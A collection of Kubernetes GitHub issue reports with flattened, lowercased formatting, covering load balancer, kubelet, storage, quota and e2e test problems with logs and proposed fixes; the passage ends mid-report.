 \r   what happened  :\r ilb frontend ip configuration does not change while updating service\r   what you expected to happen  :\r lb frontend ip configuration should get updated\r   how to reproduce it  as minimally and precisely as possible   :\r source issue : https://github.com/azure/aks/issues/532\r aks service is created using .yaml manifest. ilb is described as it is shown in the documentation:\r \r annotations:\r     service.beta.kubernetes.io/azure-load-balancer-internal: \ true\ \r spec:\r   ports:\r   - port: 80\r   type: loadbalancer\r   loadbalancerip: 10.240.200.2\r ilb instance with the \ kubernetes-internal\  name is created with a correct private ip address pointing to the service described. if i change the \ loadbalancerip\  to another internal ip address and re-deploy the service, the last is deployed with the correct new ip address, but \ kubernetes-internal\  ilb still has the old frontend ip configuration.\r \r   environment  :\r - cloud provider or hardware configuration:\r azure\r

it is normal for services within a cluster to require tls & hence keys/certificates are required. managing this is normally manual & time-consuming. i'd like to be able to generate keys/certificates on  authenticated  request & provide these to the relevant pods via secrets. this a common problem in a microservice architecture - great blog post on it  here  https://blog.cloudflare.com/how-to-build-your-own-public-key-infrastructure/ .  i have a working prototype building on top of  cfssl  https://github.com/cloudflare/cfssl . the basic idea is to watch secrets as they are added & if annotated correctly to update the sceret with generated keys & signed certificates via a cfssl pod  cfssl is bound to localhost so no external connectivity . these are then mounted inside pods that require them in the normal way.  obviously this is very insecure at the moment as there is no idea of authorization, or of revocation, or of ... well anything other than simply usability. i am not advocating the approach i currently have, just explaining what i've done so far to start discussion.  this is related to some other issues around secret/token generation such as  11070 &  8866, but separate imo, perhaps just a special case, but one that justifies it's own discussion.  /cc @liggitt @erictune

the only relevant information i can dig out is the controller manager throwing:  _i0323 09:31:47.638871       1 servicecontroller.go:298  lb doesn't need update for service kube-system/monitoring-grafana_    i0323 10:54:14.653385       1 aws.go:2657  failed to find any instances  ip-10-250-12-29.eu-west-1.int.domain.com ip-10-250-13-231.eu-west-1.int.domain.com ip-10-250-11-102.eu-west-1.int.domain.com ip-10-250-12-212.eu-west-1.int.domain.com ip-10-250-13-254.eu-west-1.int.domain.com ip-10-250-11-246.eu-west-1.int.domain.com   tags from the asg looks like this:        tag {     key = \ name\      value = \ kubernetes-node.${var.tag_environment}\      propagate_at_launch = true   }   tag {     key = \ kubernetescluster\      value = \ ${var.tag_project}.${var.tag_environment}\      propagate_at_launch = true   }       the problem seems to be located here: https://github.com/kubernetes/kubernetes/blob/8c02a46c4d8a1983df59a0329b491ce74303eee8/pkg/cloudprovider/providers/aws/aws.go l2644  the controller looks for instance with their private dns name, but when you use a custom domain for your vpc the private dns name doesn't match the one provided by aws anymore.

it should be a more curated, friendly and guided experience.  possibly look into doing away with hub.  cc @zmerlynn @davidopp

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-serial/2485/  failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid podaffinity is rejected because of the labelselectorrequirement is invalid {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:146 oct 21 01:15:26.100: couldn't delete ns: \ e2e-tests-sched-pred-6xocm\ : the server cannot complete the requested operation at this time, try again later  delete namespaces e2e-tests-sched-pred-6xocm   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ the server cannot complete the requested operation at this time, try again later  delete namespaces e2e-tests-sched-pred-6xocm \ , reason:\ servertimeout\ , details:  unversioned.statusdetails  0xc421b70050 , code:504}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:360

happened to see there is no sub-command like \ kubectl create role\  for kubectl to create a role object easily from the cli while testing rbac.\r \r i'd like to work on providing a patch for the sub-command of role and cluster-role.\r \r welcome your comments and let me know if anything is wrong.\r \r

currently we're upgrading only one node at a time in cluster/gce/upgrade.sh. we should allow upgrading n nodes at a time.\r this is even more important for large clusters, as upgrading a 500-node gce cluster  os=debian  from 1.6 to 1.7 took ~33 hours viz. ~4 min/node.\r \r cc @k8s-mirror-cluster-lifecycle-feature-re @kubernetes/sig-scalability-misc @dchen1107 @gmarek

this test has started failing on our e2e test suite, erroring out with \ failed to get endpoints...\ \r \r https://k8s-testgrid.appspot.com/release-master-blocking gce\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce\r \r example failures\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:276\r expected error:\r     < errors.errorstring | 0xc420d7c9d0>: {\r         s: \ failed to get endpoints for e2e-tests-proxy-h6zvv/proxy-service-28w55\ ,\r     }\r     failed to get endpoints for e2e-tests-proxy-h6zvv/proxy-service-28w55\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:155\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce/12667 sig-network-proxy-version-v1-should-proxy-through-a-service-and-a-pod-conformance\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/13134 sig-network-proxy-version-v1-should-proxy-through-a-service-and-a-pod-conformance\r \r \r cc @kubernetes/release-maintainers \r cc @kubernetes/sig-network-bugs \r

as part of kubernetes/enhancements 719 we encountered a potential bug.\r \r environment:\r \r kubernetes: 1.10 and 1.11\r docker version: from 17.03.1\r \r checked on multiple cloudproviders.\r \r when a node restarts, and the kubelet cannot reach the apiserver, dockerd restarts all the containers in the node.\r \r the following logs are emitted:\r \r    \r jan 09 22:24:39  kubelet 8557 : i0109 22:24:39.807617    8557 kubelet.go:1941  syncloop  housekeeping, skipped : sources aren't ready yet.\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.129785    8557 eviction_manager.go:229  eviction manager: synchronize housekeeping\r jan 09 22:24:40  kubelet 8557 : e0109 22:24:40.129827    8557 eviction_manager.go:246  eviction manager: failed to get get summary stats: failed to get node info: node \ \  not found\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.132131    8557 kubelet.go:2122  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.667002    8557 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.697763    8557 kubelet_node_status.go:327  adding node label from cloud provider: beta.kubernetes.io/instance-type=standard_d3_v2\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.697785    8557 kubelet_node_status.go:338  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=0\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.697792    8557 kubelet_node_status.go:342  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=northeurope\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.704122    8557 kubelet_node_status.go:488  using node hostname from cloudprovider: \ \ \r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705654    8557 kubelet_node_status.go:422  recording nodehassufficientdisk event message for node \r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705694    8557 kubelet_node_status.go:422  recording nodehassufficientmemory event message for node \r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705705    8557 kubelet_node_status.go:422  recording nodehasnodiskpressure event message for node \r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705712    8557 kubelet_node_status.go:422  recording nodehassufficientpid event message for node \r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705728    8557 kubelet_node_status.go:82  attempting to register node \r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705739    8557 server.go:428  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientdisk' node  status is now: nodehassufficientdisk\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705761    8557 server.go:428  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientmemory' node  status is now: nodehassufficientmemory\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705773    8557 server.go:428  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehasnodiskpressure' node  status is now: nodehasnodiskpressure\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.705823    8557 server.go:428  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientpid' node  status is now: nodehassufficientpid\r jan 09 22:24:40  kubelet 8557 : e0109 22:24:40.707239    8557 kubelet_node_status.go:106  unable to register node \ \  with api server: post https://apiserver_ip/api/v1/nodes: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.790181    8557 reflector.go:240  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.791162    8557 reflector.go:240  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:451\r jan 09 22:24:40  kubelet 8557 : e0109 22:24:40.791665    8557 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://apiserver_ip/api/v1/pods?fieldselector=spec.nodename%3d&limit=500&resourceversion=0: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:40  kubelet 8557 : e0109 22:24:40.792660    8557 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://apiserver_ip/api/v1/services?limit=500&resourceversion=0: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:40  kubelet 8557 : i0109 22:24:40.793359    8557 reflector.go:240  listing and watching  v1.node from k8s.io/kubernetes/pkg/kubelet/kubelet.go:460\r jan 09 22:24:40  kubelet 8557 : e0109 22:24:40.795195    8557 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://apiserver_ip/api/v1/nodes?fieldselector=metadata.name%3d&limit=500&resourceversion=0: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:41  kubelet 8557 : i0109 22:24:41.791818    8557 reflector.go:240  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47\r jan 09 22:24:41  kubelet 8557 : i0109 22:24:41.792916    8557 reflector.go:240  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:451\r jan 09 22:24:41  kubelet 8557 : e0109 22:24:41.793714    8557 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://apiserver_ip/api/v1/pods?fieldselector=spec.nodename%3d&limit=500&resourceversion=0: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:41  kubelet 8557 : e0109 22:24:41.794424    8557 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to list  v1.service: get https://apiserver_ip/api/v1/services?limit=500&resourceversion=0: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:41  kubelet 8557 : i0109 22:24:41.795435    8557 reflector.go:240  listing and watching  v1.node from k8s.io/kubernetes/pkg/kubelet/kubelet.go:460\r jan 09 22:24:41  kubelet 8557 : e0109 22:24:41.796962    8557 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to list  v1.node: get https://apiserver_ip/api/v1/nodes?fieldselector=metadata.name%3d&limit=500&resourceversion=0: dial tcp apiserver_ip: getsockopt: connection refused\r jan 09 22:24:49  kubelet 8557 : i0109 22:24:49.807598    8557 kubelet.go:1941  syncloop  housekeeping, skipped : sources aren't ready yet.\r    \r \r dockerd logs shows the following: \r \r    \r jan 09 22:53:16  systemd 1 : stopped docker application container engine.\r jan 09 22:53:36  systemd 1 : starting docker application container engine...\r jan 09 22:53:36  docker 14748 : command \ daemon\  is deprecated, and will be removed in docker 1.16. please run  dockerd  directly.\r jan 09 22:53:36  docker 14748 : time=\ 2019-01-09t22:53:36.130706655z\  level=info msg=\ libcontainerd: new containerd process, pid: 14760\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.192707070z\  level=info msg=\ graph migration to content-addressability took 0.00 seconds\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.192940870z\  level=warning msg=\ your kernel does not support swap memory limit\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.192977370z\  level=warning msg=\ your kernel does not support cgroup rt period\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.192985970z\  level=warning msg=\ your kernel does not support cgroup rt runtime\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.192995770z\  level=warning msg=\ your kernel does not support cgroup blkio weight\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.193003670z\  level=warning msg=\ your kernel does not support cgroup blkio weight_device\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.193405771z\  level=info msg=\ loading containers: start.\ \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.256683521z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.289359398z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container dc8ead248e9ecd25bfa5540\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.296771216z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.332745801z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 7381df6431eddc3f15a3021\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.339801318z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.436661047z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 9da90d4adee91367e48f574\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.445349068z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.466067117z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container eae6ec26c4a6c10fe0c9e41\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.473333134z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.506976014z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 065ebcc65b4ac6537ad0d6c\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.513722830z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.531190971z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 37f6983d056b6a5065cf155\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.539830491z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.574863574z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container d5cabd4aa7773b5dc900672\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.582313492z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.621339384z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container e5a9337a8d0a1532a014564\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.628576502z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.696209662z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 042b41d37847ae1f3950277\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.703788080z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.726445433z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 91204cf7b48f833ae72a60d\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.733397450z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.801586911z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container a0858428173ded7861c15db\r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.808029026z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.843199010z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.877666091z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.940210039z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:37  docker 14748 : time=\ 2019-01-09t22:53:37.970266611z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.027987847z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.079269869z\  level=warning msg=\ libcontainerd: client is out of sync, restore was called on a fully synced container \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.134096598z\  level=info msg=\ firewalld running: false\ \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.216353793z\  level=info msg=\ there are old running containers, the network config will not take affect\ \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.625723962z\  level=info msg=\ loading containers: done.\ \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.727042602z\  level=info msg=\ daemon has completed initialization\ \r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.727108402z\  level=info msg=\ docker daemon\  commit=c6d412e graphdriver=overlay2 version=17.03.1-ce\r jan 09 22:53:38  docker 14748 : time=\ 2019-01-09t22:53:38.737987228z\  level=info msg=\ api listen on /var/run/docker.sock\ \r    \r \r when inspecting containers created by the kubelet we see that we create containers with the following restart policy:\r \r    \r             \ restartpolicy\ : {\r                 \ name\ : \ \ ,\r                 \ maximumretrycount\ : 0\r             },\r    \r \r this is a blocker for kubernetes/enhancements 719 as when the node restart the controller-manager cannot assume that it is safe to detach volumes as they might be mounted by the pods.\r \r @jingxu97 @yujuhong @liggitt \r \r /  

https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=testwebhookreinvocationpolicy\r \r reinvocation_test.go:203: internal error occurred: jsonpatch add operation does not apply: doc is missing path: \ /metadata/labels/a\ \r \r /cc @jpbetz \r  /  /area admission-control

hello all,   there is a way to make to kubelet service to support replicationcontroller and service specifications yaml files and not only podspecs or is planned to do it?  thanks in advance.

fyi. i create a resource quota for a namespace, and set the replicationcontrollers number, just like this:       root@localhost ~   kubectl describe quota --namespace=\ staging\  name:           quota namespace:      staging resource        used    hard --------        ----    ---- cpu         6750m   20 memory          7936mi  20gi replicationcontrollers  20  20      from this output, you can see we have used  20  replicationcontrollers, but if you run  kubectl get rc --namespace=\ staging\   and sum the number of rc, you will just get  9 , which means actually we just have  9  rc in this namespace. so it seems the resource quota controller can't always observe the rc delete. besides i am using kubernetes  1.1.4  and my apiserver configuration is:      --admission_control=serviceaccount,namespacelifecycle,limitranger,resourcequota      @derekwaynecarr wdyt? i am not very clear whether 1.1.4 has some problems about resource quota.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no.    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  i searched for the words \ tim hockin\  on my chat roster. :-   ---    is this a bug report or feature request?    choose one :  feature.  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.5\ , gitcommit:\ 25eb53b54e08877d3789455964b3e97bdd3f3bce\ , gittreestate:\ clean\ }    environment  : -   cloud provider or hardware configuration  : gce/gke -   os    e.g. from /etc/os-release : version=\ 14.04.5 lts, trusty tahr\  -   kernel    e.g.  uname -a  : linux edpin-linux.mtv.corp.google.com 3.13.0-91-generic  138-ubuntu smp fri jun 24 17:00:34 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : -   others  :    what happened  :  i tried to attach a pd in the wrong zone. i had pods in us-central1-c but this operator copy-and-pasted some examples around and created the pd in us-central1-a.  then the pod would not tell me why it was in containercreating for long minutes. kubectl logs <pod> didn't show anything useful and kubectl describe pod showed me this unhelpful message:  events:   firstseen lastseen    count   from                            subobjectpath   type        reason      message  ---    6m        6m      1   {default-scheduler }                            normal      scheduled   successfully assigned dirserver-3381994805-8cfe6 to gke-cluster-1-default-pool-bb87ddba-hogl   5m        23s     6   {kubelet gke-cluster-1-default-pool-bb87ddba-hogl}          warning     failedmount unable to mount volumes for pod \ dirserver-3381994805-8cfe6_default fe8e0537-68c1-11e6-8f90-42010af00083 \ : could not attach gce pd \ dirserver-logs\ . timeout waiting for mount paths to be created.   5m        23s     6   {kubelet gke-cluster-1-default-pool-bb87ddba-hogl}          warning     failedsync  error syncing pod, skipping: could not attach gce pd \ dirserver-logs\ . timeout waiting for mount paths to be created.    what you expected to happen  :  a message such as: \ can't connect to pd in a different zone: requested pd in \ zones/us-central1-a\ , pod is running in \ zones/us-central1-c\ .  or somesuch.    how to reproduce it    as minimally and precisely as possible :  gcloud compute disks create --size=100gb some-name --zone=us-central1-a  then configure your yaml job to run on us-central1-c.    anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging/6437/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:52 expected error:     < errors.errorstring | 0xc8222d6cb0>: {         s: \ only 4 pods started out of 5\ ,     }     only 4 pods started out of 5 not to have occurred      previous issues for this test:  27406  27669  29770

43271 by @liggitt removed the ability to specify \ all namespaces\  in  podaffinityterm.namespaces  because it was relying on distinguishing between empty and nil list which doesn't really work. we should decide if we want to add this feature back, and if so, how to do it. @liggitt mentioned the overall options here: https://github.com/kubernetes/kubernetes/issues/43203 issuecomment-287237992\r \r personally i think special-casing     is the simplest and most obvious-to-the-user thing to do. i started a pr to do it   43278  before @liggitt had done his pr, and if you ignore the parts that are duplicates of what @liggitt's pr did, you can see that it only requires a few lines of code  plus some additional tests, which we really should have had all along .\r \r this would be for 1.7.\r \r @kubernetes/sig-scheduling-feature-requests \r

currently, when a user creates a pvc asking for a certain storageclass, and dynamic provisioning gets invoked, the accessmodes field is effectively ignored: the provisioned pv is created to have accessmodes matching the pvc's regardless of whether the underlying plugin actually supports it.\r \r e.g. in an aws cluster a user creates a pvc asking for a \ standard\  class aws-ebs volume & rwm accessmodes. they'll get a rwm pv and, if/when the multiple pods attempting to use it fail  i.e. the vol fails to attach to multiple nodes , they'll wonder what went wrong and may have no way of understanding what went wrong.\r \r there is no way for a storageclass  admin  to communicate to users that it only supports creating pvs with lesser accessmodes than what the user may need.\r \r mount options set something of a precedent by validating at pv creation time whether the specified plugin actually supports mount options. imo we should do something similar here, validate at pvc creation time whether the specified class's plugin actually supports the requested accessmodes according to the documentation here: https://kubernetes.io/docs/concepts/storage/persistent-volumes/ access-modes.\r \r we should also  automatically  put plugin's supported accessmodes in every storageclass so that users can determine which storageclasses support what accessmodes.\r \r thoughts please?\r \r @kubernetes/sig-storage-feature-requests @kubernetes/sig-storage-bugs @gnufied

aggregated failures  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=1-5-. -1-7. upgrade-cluster-new&test=deployment \r \r  \r - deployment recreatedeployment should delete old pods and create new ones\r - deployment rollingupdatedeployment should delete old pods and create new ones\r - deployment deployment can avoid hash collisions\r -  deployment deployment reaping should cascade to its replica sets and pods\r - deployment deployment should label adopted rss and pods\r -  deployment deployment should support rollback\r - deployment deployment should support rollback when there's replica set with no revision\r - deployment deployment should support rollover\r - deployment iterative rollouts should eventually progress\r - deployment lack of progress should be reported in the deployment status\r - deployment overlapping deployment should not fight with each other\r -  deployment paused deployment should be able to scale\r - deployment paused deployment should be ignored by the controller\r - deployment scaled rollout deployment should not block on annotation check\r - deployment test deployment replicaset orphaning and adoption regarding controllerref

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i'm using k8s 1.6.4, when i create a pod with more than one container, i add some hosts to the /etc/hosts when i start one of the container in the pod, but the hosts file changed at first but then change to the initial pods hosts.\r \r   what you expected to happen  :\r the hosts in the pod will keep changed at the lifetime of the pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod with more than one container;\r 2. in a container use script to add hosts;\r 3. recreate the pod sometimes will reproduce the bug.\r \r \r   anything else we need to know?  :\r \r func ensurehostsfile filename, hostip, hostname, hostdomainname string  error {     \r    if \\_, err := os.stat filename ; os.isexist err  {     \r    glog.v 4 .infof \ kubernetes-managed etc-hosts file exits. will not be recreated: %q\ , filename \r    return nil\r    }\r  \r i read the source code and find there is a bug in tag 1.6.7 pkg/kubelet/kubelet_pods.go 214-218.  you should use \ \\_, err := os.stat filename ; !os.isnotexist err \  instead of the source code. so multiple containers  in a pods will not  recreate the hosts file again.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r i see the bug exist in all the versions before 1.7, but in version 1.7 you remove the check of recreate hosts file.

kube-proxy daemonset upgrade/downgrade test  https://github.com/kubernetes/kubernetes/blob/5dc0845e3625a99028bef39d6dcd648d48e2e61e/test/e2e/lifecycle/cluster_upgrade.go l219-l280  is using the generic set of upgradetests, which are not specific enough to verify the migration path:\r https://github.com/kubernetes/kubernetes/blob/5dc0845e3625a99028bef39d6dcd648d48e2e61e/test/e2e/lifecycle/cluster_upgrade.go l42-l54\r \r we should create upgrade tests specific for validating kube-proxy migration path instead of sharing the generic ones. similar to the statfulset upgrade tests:\r https://github.com/kubernetes/kubernetes/blob/5dc0845e3625a99028bef39d6dcd648d48e2e61e/test/e2e/lifecycle/cluster_upgrade.go l56-l60\r \r /asssign\r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r create a job with lots of envs. the job can't run normally. controller keeps logging  unable to decode an event from the watch stream: object to decode was longer than maximum allowed size .\r \r    \r  root@kubernetes-master yaml   kubectl get jobs -o wide\r name         desired   successful   age       containers   images           selector\r bigmetajob   100       0            12m       bigmetajob   chenchun/hello   controller-uid=d5a0ff6b-dee7-11e7-9ab9-080027242396\r \r  root@kubernetes-master log   tail -f kube-controller-manager.log \r e1212 02:58:19.428087   14503 streamwatcher.go:109  unable to decode an event from the watch stream: object to decode was longer than 